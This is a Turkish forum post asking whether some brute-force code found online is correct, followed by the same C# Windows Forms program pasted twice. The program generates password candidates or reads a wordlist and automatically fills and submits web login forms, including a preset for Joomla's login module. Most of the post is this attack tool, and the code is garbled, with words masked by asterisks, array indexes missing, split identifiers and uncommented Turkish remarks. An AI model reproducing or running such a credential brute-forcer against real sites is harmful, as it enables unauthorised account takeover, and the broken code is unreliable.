Arkadaşlar internette burute force kodları buldum.Acaba bu kodlar doğrumu diye sormak istedim.
Kodalar
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Collections;
using System.Threading;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
CheckForIllegalCrossThreadCalls = false; (threadları kontrol etmesin program hata vermesin diye eklediğimiz kod)
}
int g = 0;
List<string> turevler = new List<string>(); (türevler isminde liste oluşturdum buraya brute force ile bulunan kombinasyonları attım depoladım.)
ArrayList KarakterArray = new ArrayList();
string[] passArray;
string[] lowerChar = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "r", "s", "t", "u", "v", "y", "z" };
string[] upperChar = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "R", "S", "T", "U", "V", "Y", "Z" };
string[] numericChar = { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9" }; //(Bu kısımda deneyeceğimiz karakterleri koyduk)
int numChars = 0;
bool Done = false;
int i = 0;
int j = 0;
bool DoneBrute = false;
private **** BruteForce()
{
passArray = new string[50];
for (i = 0; i < passArray.Length; i++)
passArray = "-1";
numChars = KarakterArray.Count;
for (i = 0; i < 1; i++)
passArray = KarakterArray[0].ToString();
i = 0;
while (passArray != "-1" && DoneBrute == false)
i++;
turevler.Add(ReturnPassword().ToString()); //(Türevler isminde oluşturdugum listeye üretilen brute force kombinasyonlarını gömdüm,kaydettim.)
while (true && DoneBrute == false)
{
for (i = 0; i < (passArray.Length + 1); i++)
{
if (passArray == "-1")
break;
}
i--;
Done = false;
while (!Done)
{
for (j = 0; j < numChars; j++)
{
if (passArray == KarakterArray[j].ToString())
break;
}
if (j == (numChars - 1))
{
passArray = KarakterArray[0].ToString();
turevler.Add(ReturnPassword().ToString());
i--;
if (i < 0)
{
for (i = 0; i < (passArray.Length + 1); i++)
{
if (passArray == "-1")
break;
}
passArray = KarakterArray[0].ToString();
turevler.Add(ReturnPassword().ToString());
Done = true;
}
}
else
{
passArray = KarakterArray[j + 1].ToString();
turevler.Add(ReturnPassword().ToString());
Done = true;
}
}
}
}
private string ReturnPassword()
{
string TempPass = "";
for (int i = 0; i < passArray.Length; i++)
TempPass += passArray;
TempPass = TempPass.Replace("-1", "");
return TempPass.Replace("-1", "");
}
private **** button1_Click(object sender, EventArgs e)
{
if(tabControl1.SelectedIndex==0)
webBrowser1.Navigate(textBox6.Text);
if(tabControl1.SelectedIndex==1)
webBrowser1.Navigate(textBox4.Text);
KarakterArray.AddRange(numericChar);
Thread thread = new Thread(new ThreadStart(BruteForce));
thread.Start();
}
private **** webBrowser1_********Completed(object sender, WebBrowser********CompletedEventArgs e)
{
if (tabControl1.SelectedIndex==1)
{
try
{
if (webBrowser1.********.GetElementById(textBox1.Text ) != null)
{
if (checkBox2.Checked == true)
{
webBrowser1.********.GetElementById(textBox1.Text) .InnerText = textBox3.Text;
webBrowser1.********.GetElementById(textBox2.Text) .InnerText = turevler[g];
textBox8.Text = turevler[g];
webBrowser1.********.GetElementById(textBox5.Text) .InvokeMember("click");
g++;
}
//bruteile atak
if (checkBox1.Checked == true)
{
webBrowser1.********.GetElementById(textBox1.Text) .InnerText = textBox3.Text;
webBrowser1.********.GetElementById(textBox2.Text) .InnerText = richTextBox1.Lines[g];
textBox8.Text = turevler[g];
webBrowser1.********.GetElementById(textBox5.Text) .InvokeMember("click");
g++;
}
}
}
catch (Exception)
{
MessageBox.Show("Bulunamadı Program Kapatılacak");
Application.Exit();
}
}
//JOOMLA
if (tabControl1.SelectedIndex == 0)
{
try
{
if (webBrowser1.********.GetElementById("modlgn_usern ame") != null)
{
//bruteattack
if (checkBox2.Checked == true)
{
webBrowser1.********.GetElementById("modlgn_userna me").InnerText = textBox7.Text;
webBrowser1.********.GetElementById("modlgn_passwd ").InnerText = turevler[g];
textBox8.Text = turevler[g];
webBrowser1.********.Forms[0].InvokeMember("submit");
g++;
}
//wordlistatak
if (checkBox1.Checked == true)
{
webBrowser1.********.GetElementById("modlgn_userna me").InnerText = textBox3.Text;
webBrowser1.********.GetElementById("modlgn_passwd ").InnerText = richTextBox1.Lines[g];
textBox8.Text = turevler[g];
webBrowser1.********.Forms[0].InvokeMember("submit");
g++;
}
//webBrowser1.********.GetElementById("modlgn_userna me").InnerText = textBox3.Text;
//webBrowser1.********.GetElementById("modlgn_passwd ").InnerText = turevler[g];
//textBox8.Text = turevler[g];
//webBrowser1.********.Forms[0].InvokeMember("submit");
//webBrowser1.********.GetElementById(textBox5.Text) .InvokeMember("click");
//g++;
}
}
catch (Exception)
{
MessageBox.Show("Bulunamadı Program Kapatılacak");
Application.Exit();
}
}
}
private **** Form1_FormClosing(object sender, FormClosingEventArgs e)
{
Application.ExitThread();
}
private **** checkBox1_CheckedChanged(object sender, EventArgs e)
{
textBox8.Visible = false;
}
//webBrowser1.********.GetElementById("Giriş").Invok eMember(Click);
}
}
Kodalar
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Collections;
using System.Threading;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
CheckForIllegalCrossThreadCalls = false; (threadları kontrol etmesin program hata vermesin diye eklediğimiz kod)
}
int g = 0;
List<string> turevler = new List<string>(); (türevler isminde liste oluşturdum buraya brute force ile bulunan kombinasyonları attım depoladım.)
ArrayList KarakterArray = new ArrayList();
string[] passArray;
string[] lowerChar = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "r", "s", "t", "u", "v", "y", "z" };
string[] upperChar = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "R", "S", "T", "U", "V", "Y", "Z" };
string[] numericChar = { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9" }; //(Bu kısımda deneyeceğimiz karakterleri koyduk)
int numChars = 0;
bool Done = false;
int i = 0;
int j = 0;
bool DoneBrute = false;
private **** BruteForce()
{
passArray = new string[50];
for (i = 0; i < passArray.Length; i++)
passArray = "-1";
numChars = KarakterArray.Count;
for (i = 0; i < 1; i++)
passArray = KarakterArray[0].ToString();
i = 0;
while (passArray != "-1" && DoneBrute == false)
i++;
turevler.Add(ReturnPassword().ToString()); //(Türevler isminde oluşturdugum listeye üretilen brute force kombinasyonlarını gömdüm,kaydettim.)
while (true && DoneBrute == false)
{
for (i = 0; i < (passArray.Length + 1); i++)
{
if (passArray == "-1")
break;
}
i--;
Done = false;
while (!Done)
{
for (j = 0; j < numChars; j++)
{
if (passArray == KarakterArray[j].ToString())
break;
}
if (j == (numChars - 1))
{
passArray = KarakterArray[0].ToString();
turevler.Add(ReturnPassword().ToString());
i--;
if (i < 0)
{
for (i = 0; i < (passArray.Length + 1); i++)
{
if (passArray == "-1")
break;
}
passArray = KarakterArray[0].ToString();
turevler.Add(ReturnPassword().ToString());
Done = true;
}
}
else
{
passArray = KarakterArray[j + 1].ToString();
turevler.Add(ReturnPassword().ToString());
Done = true;
}
}
}
}
private string ReturnPassword()
{
string TempPass = "";
for (int i = 0; i < passArray.Length; i++)
TempPass += passArray;
TempPass = TempPass.Replace("-1", "");
return TempPass.Replace("-1", "");
}
private **** button1_Click(object sender, EventArgs e)
{
if(tabControl1.SelectedIndex==0)
webBrowser1.Navigate(textBox6.Text);
if(tabControl1.SelectedIndex==1)
webBrowser1.Navigate(textBox4.Text);
KarakterArray.AddRange(numericChar);
Thread thread = new Thread(new ThreadStart(BruteForce));
thread.Start();
}
private **** webBrowser1_********Completed(object sender, WebBrowser********CompletedEventArgs e)
{
if (tabControl1.SelectedIndex==1)
{
try
{
if (webBrowser1.********.GetElementById(textBox1.Text ) != null)
{
if (checkBox2.Checked == true)
{
webBrowser1.********.GetElementById(textBox1.Text) .InnerText = textBox3.Text;
webBrowser1.********.GetElementById(textBox2.Text) .InnerText = turevler[g];
textBox8.Text = turevler[g];
webBrowser1.********.GetElementById(textBox5.Text) .InvokeMember("click");
g++;
}
//bruteile atak
if (checkBox1.Checked == true)
{
webBrowser1.********.GetElementById(textBox1.Text) .InnerText = textBox3.Text;
webBrowser1.********.GetElementById(textBox2.Text) .InnerText = richTextBox1.Lines[g];
textBox8.Text = turevler[g];
webBrowser1.********.GetElementById(textBox5.Text) .InvokeMember("click");
g++;
}
}
}
catch (Exception)
{
MessageBox.Show("Bulunamadı Program Kapatılacak");
Application.Exit();
}
}
//JOOMLA
if (tabControl1.SelectedIndex == 0)
{
try
{
if (webBrowser1.********.GetElementById("modlgn_usern ame") != null)
{
//bruteattack
if (checkBox2.Checked == true)
{
webBrowser1.********.GetElementById("modlgn_userna me").InnerText = textBox7.Text;
webBrowser1.********.GetElementById("modlgn_passwd ").InnerText = turevler[g];
textBox8.Text = turevler[g];
webBrowser1.********.Forms[0].InvokeMember("submit");
g++;
}
//wordlistatak
if (checkBox1.Checked == true)
{
webBrowser1.********.GetElementById("modlgn_userna me").InnerText = textBox3.Text;
webBrowser1.********.GetElementById("modlgn_passwd ").InnerText = richTextBox1.Lines[g];
textBox8.Text = turevler[g];
webBrowser1.********.Forms[0].InvokeMember("submit");
g++;
}
//webBrowser1.********.GetElementById("modlgn_userna me").InnerText = textBox3.Text;
//webBrowser1.********.GetElementById("modlgn_passwd ").InnerText = turevler[g];
//textBox8.Text = turevler[g];
//webBrowser1.********.Forms[0].InvokeMember("submit");
//webBrowser1.********.GetElementById(textBox5.Text) .InvokeMember("click");
//g++;
}
}
catch (Exception)
{
MessageBox.Show("Bulunamadı Program Kapatılacak");
Application.Exit();
}
}
}
private **** Form1_FormClosing(object sender, FormClosingEventArgs e)
{
Application.ExitThread();
}
private **** checkBox1_CheckedChanged(object sender, EventArgs e)
{
textBox8.Visible = false;
}
//webBrowser1.********.GetElementById("Giriş").Invok eMember(Click);
}
}